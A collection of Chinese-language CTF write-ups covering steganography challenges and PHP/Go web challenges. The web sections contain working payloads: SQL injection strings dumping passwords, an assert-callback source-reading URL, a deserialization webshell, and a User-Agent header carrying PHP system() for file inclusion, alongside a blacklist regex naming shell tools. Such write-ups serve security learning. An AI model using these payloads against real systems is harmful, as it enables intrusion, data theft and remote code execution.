[SWPUCTF 2022 新生赛]Capture!
Problem: [SWPUCTF 2022 新生赛]Capture!
[[toc]]
修改高度得part1
再LSB隐写一把梭
zsteg -a flag.png #一把梭
猜测base64,无果
再颠倒顺序即可解出
[SWPUCTF 2022 新生赛]Cycle Again
Problem: [SWPUCTF 2022 新生赛]Cycle Again
先用010查看图片发现图片的宽和高为零即可知是crc爆破
再用脚本crc爆破
import binascii
import struct
# \x49\x48\x44\x52\x00\x00\x01\x00\x00\x00\x00\x00\x08\x02\x00\x00\x00
crc32key = 0x6bb7ad9c
for i in range(0, 65535):
for j in range(0, 5000):
width = struct.pack('>i', j)
height = struct.pack('>i', i)
data = b'\x49\x48\x44\x52' + width + height + b'\x08\x06\x00\x00\x00'
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(''.join(map(lambda c: "%02X" % c, width)))
print(''.join(map(lambda c: "%02X" % c, height)))
output:
00000800
00000480
即可得到part1
再用crc爆破压缩包即可获得part2
[SWPUCTF 2022 新生赛]Coffee Please
解压文档
使用vscode 搜索
即可得到flag
NSSCTF{8ff8a53a-9378-4e78-b54a-ef86e8c84432}
Problem: [SWPUCTF 2022 新生赛]Convert Something
[SWPUCTF 2022 新生赛]Convert Something
零宽隐写+base64隐写
零宽隐写
网站
base64隐写脚本
import base64
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in range(len(s1)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res
def solve_stego():
with open('.\字频统计.txt', 'rb') as f:
file_lines = f.readlines()
bin_str=''
for line in file_lines:
steg_line = line.decode().replace('\r\n', '')
norm_line = base64.b64encode((base64.b64decode(line))).decode()
diff = get_base64_diff_value(steg_line, norm_line)
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print (bin_str)
res_str = ''
for i in range(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i+8], 2))
print (res_str)
if __name__=='__main__':
solve_stego()
[SWPUCTF 2022 新生赛]Does your nc work?
nc 连接签到题,注意不要用windows连接就行
[SWPUCTF 2022 新生赛]funny_web
Problem: [SWPUCTF 2022 新生赛]funny_web
账号NSS
密码2122693401
intval()函数用于字符串转整数,可以使十六进制转十进制用于绕过数字过滤
intval()函数绕过,可以凭借字符串拼接绕过
payload:?num=12345a
[GWCTF 2019]枯燥的抽奖
PHP随机数预测
使用php_mt_seed
首先查看源码发现/check,可以发现生成逻辑,简单分析后就可以知道生成的前几位是什么,再生成php_mt_seed能识别的格式match_min matchmax 0 range_max
,再用在线网站的生成即可
str1="TWKZDu268g"
key="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
finall=""
for i in str1:
num = key.index(i)
finall+=(str(num)+" ")*2+'0'+" "+str(len(key)-1)+" "
print(finall)
再在在线网站运行就行,版本要求PHP 7.1.0+
[HUBUCTF 2022 新生赛]ezsql
考察update注入,首先可以注册一个账号,进入改资料的界面,抓包可以发现这里是进行了一个update操作
可以猜测到后台是用的update,其次可以扫描目录
可以发现源码泄露
注入语句
update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id];
注入database
nickname=%27+or+%3D1%3D11#&age=111,description=(select+database())#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61
database会在description显示
tables
nickname=%27+or+%3D1%3D11#&age=111,description=(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61
columns
nickname=%27+or+%3D1%3D11#&age=111,description=(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=0x7573657273)#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61
users
要改成十六进制的0x7573657273
[SEETF 2023]Sourceful Guessless Web
我们可以通过控制ini_set
控制一些设置
具体能控制哪些设置,看这个表
<?php
ini_set('display_errors', 0);
$flag = "NSSCTF{FAKE_FLAG}"; // Oops, my dog ate my flag...
if (isset($_GET['flag']) && preg_match("/^SEE{.*}$/", $_GET['flag'])) {
$flag = $_GET['flag'];
if (isset($_GET['debug']) && isset($_GET['config'])) {
foreach ($_GET['config'] as $key => $value) {
ini_set($key, $value);
}
}
}
assert(preg_match("/^NSSCTF{.*}$/", $flag), NULL);
?>
<html>
<head>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
<style>
body {
background-color: <?php echo $_GET["backgroundColor"] ?>;
color: <?php echo $_GET["textColor"] ?>
}
</style>
</head>
<body>
<div class="d-flex align-items-center min-vh-100">
<div class="container text-center">
<h1>Sourceful Guessless Web</h1>
<div>
<p class="lead"> Personalize your flag: 🚩 <?php echo preg_replace("/NSSCTF{(.*)}/", "NSSCTF{********}", $flag); ?></p>
<p><i>This site is currently in alpha. The full flag will be available in 2024.</i></p>
<form>
<div class="form-group row my-2">
<label for="backgroundColor" class="col-sm-2 col-form-label">Background Color</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="backgroundColor" name="backgroundColor" placeholder="black">
</div>
</div>
<div class="form-group row my-2">
<label for="textColor" class="col-sm-2 col-form-label">Text Color</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="textColor" name="textColor" placeholder="white">
</div>
</div>
<div class="form-group row my-2">
<label for="flag" class="col-sm-2 col-form-label">Flag</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="flag" name="flag" placeholder="NSSCTF{...}">
</div>
</div>
<input hidden name="debug" value="0">
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
</body>
</html>
我们这里可以设置assert
的回调函数即assert_callback()
为readfile
由于第一个参数是调用assert()
的文件名,我们可以用它来读取当前页面的源代码。
我们可以通过下面的代码测试
assert_options(ASSERT_CALLBACK, function($params){
echo "====faild====", PHP_EOL;
var_dump($params);
echo "====faild====", PHP_EOL;
});
assert(1!=1);
需要注意的是,本特性已自 PHP 8.3.0 起废弃
得到的结果如下
// ====faild====
// string(105) ".../source/一起学习PHP中断言函数的使用.php"
// ====faild====
那么现在值得关注的是如何让他断言失败
这里就得利用pcre.backtrack_limit
,pcre.backtrack_limit
设置了匹配模式时可以采取的最大回溯步骤数。如果超过此限制,匹配将失败。
如果我们将这个值设置成0
,那么我们无论怎么匹配都会失败
关于匹配支付回溯可以看这个文章
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限.
在有些时候,我们可以通过发送超长字符串来让preg_match
返回false从而绕过某些限制
所以最后的payload如下
http://node4.anna.nssctf.cn:28754/?debug&config[assert.callback]=readfile&config[pcre.backtrack_limit]=0&flag=NSSCTF{AAAA}
[极客大挑战 2020]greatphp
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
这里需要使用反序列化配合Exception类
在这里面,我们可以创建两个Exception类
,并且确保他们的报错输出相同,由于是两个不同的class
,会导致$this->syc != $this->lover
但是md5()
和sha1()
会调用__toString()
,为了保证他们的输出相同,两个Exception
得定义到同一行。
<?php
class SYCLOVER
{
public $syc;
public $lover;
}
$payload = '?><?=include $_GET[_];?>';
$b = new Exception($payload, 1);$c = new Exception($payload, 2);
$a = new SYCLOVER;
$a->syc = $b;
$a->lover = $c;
print_r(urlencode(serialize($a)));
[Insomni 2019]Phuck2
打开之后是白页,我们使用arjun扫描参数可以获取源码
<?php
stream_wrapper_unregister('php');
if(isset($_GET['hl'])) highlight_file(__FILE__);
$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);
$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));
$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');
$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
include($_GET['page']);
}
chdir(__DIR__);
system('rm -rf users/'.$randFolder);
?>
通过源码,我们知道其主要注入点在include($_GET['page']);
前面file_put_contents
会将print_r($_SERVER,true)
的输出保存,我们可以在请求头中添加php
代码,写入profile
中
那么重点就到了绕过!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')
中来了
当allow_url_include=Off
时,file_get_contents
的文件名为data:aa/profie
时,会识别成aa/profile
而由于allow_url_include=Off
,include
会直接将输入当作路径名,所以include会识别成data:aa/profile
,我们可以利用这个特性绕过检测
payload
挺离谱的,我用bp返回没结果,但是我用hackbar
就行
POST /?page=data:aa/profile HTTP/1.1
Host: node4.anna.nssctf.cn:28618
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Origin: http://node4.anna.nssctf.cn:28618
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: <?php system('/get_flag');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node4.anna.nssctf.cn:28618/?page=data:aa/profile
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1757342121,1757407834,1757495670,1757555880; HMACCOUNT=4D7B108F87B0EAEC; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1757574078
X-Forwarded-For: data:aa
Connection: keep-alive
[安洵杯 2019]easy_web
点进去自带参数
我们可以看到对应的加密类型
可以看到他包含了一个文件名,我们使用相同的编码将其改成index.php
我们可以获取到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
黑名单可以使用ca\t
绕过,剩下的就是一个常见的md5强密码爆破,但是hackbar有个很坑的问题是会自动在post参数最后加一个回车,这样会导致参数错误要注意只有在application/x-www-form-urlencoded(raw)
会加这个回车
[HUBUCTF 2022 新生赛]Calculate
感觉就是考代码功底,功底太低被搏杀了orz
payload
import requests
import re
import time
session = requests.session()
burp0_url = "http://node5.anna.nssctf.cn:24821/"
burp0_cookies = {"Hm_lvt_648a44a949074de73151ffaa0a832aec": "1757555880,1757588653,1757606918,1757607993", "PHPSESSID": "9ablfi50evhr4kvva6r13ttv07"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "keep-alive"}
response = session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
formula = re.findall(r"\">(.+?)</div>",response.text)
print(response.text)
formula = ''.join(formula)
print(formula)
result = eval(formula[0:-1])
print(result)
time.sleep(1)
# session = requests.session()
while True:
ans_url = "http://node5.anna.nssctf.cn:24821/"
ans_cookies = {"Hm_lvt_648a44a949074de73151ffaa0a832aec": "1757555880,1757588653,1757606918,1757607993", "PHPSESSID": "9ablfi50evhr4kvva6r13ttv07"}
ans_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Origin": "http://node5.anna.nssctf.cn:24821", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://node5.anna.nssctf.cn:24821/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "keep-alive"}
ans_data = {"ans": f"{result}"}
response1 = session.post(ans_url, headers=ans_headers, cookies=ans_cookies, data=ans_data)
if "nssctf" in response1.text:
print(response1.text)
break
formula = re.findall(r"\">(.+?)</div>",response1.text)
# print(response.text)
formula = ''.join(formula)
print(formula)
result = eval(formula[0:-1])
# print(result)
time.sleep(1)
[SCTF 2021]loginme
X-Real-IP
,一般只记录真实发出请求的客户端IP
go的模版渲染使用的是{{}}
,可以看到当传入参数可控时,就会经过动态内容生成不同的内容。
常用ssti
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段 如{{.Name}}user对象的Name字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template “navbar”}} 引入子模版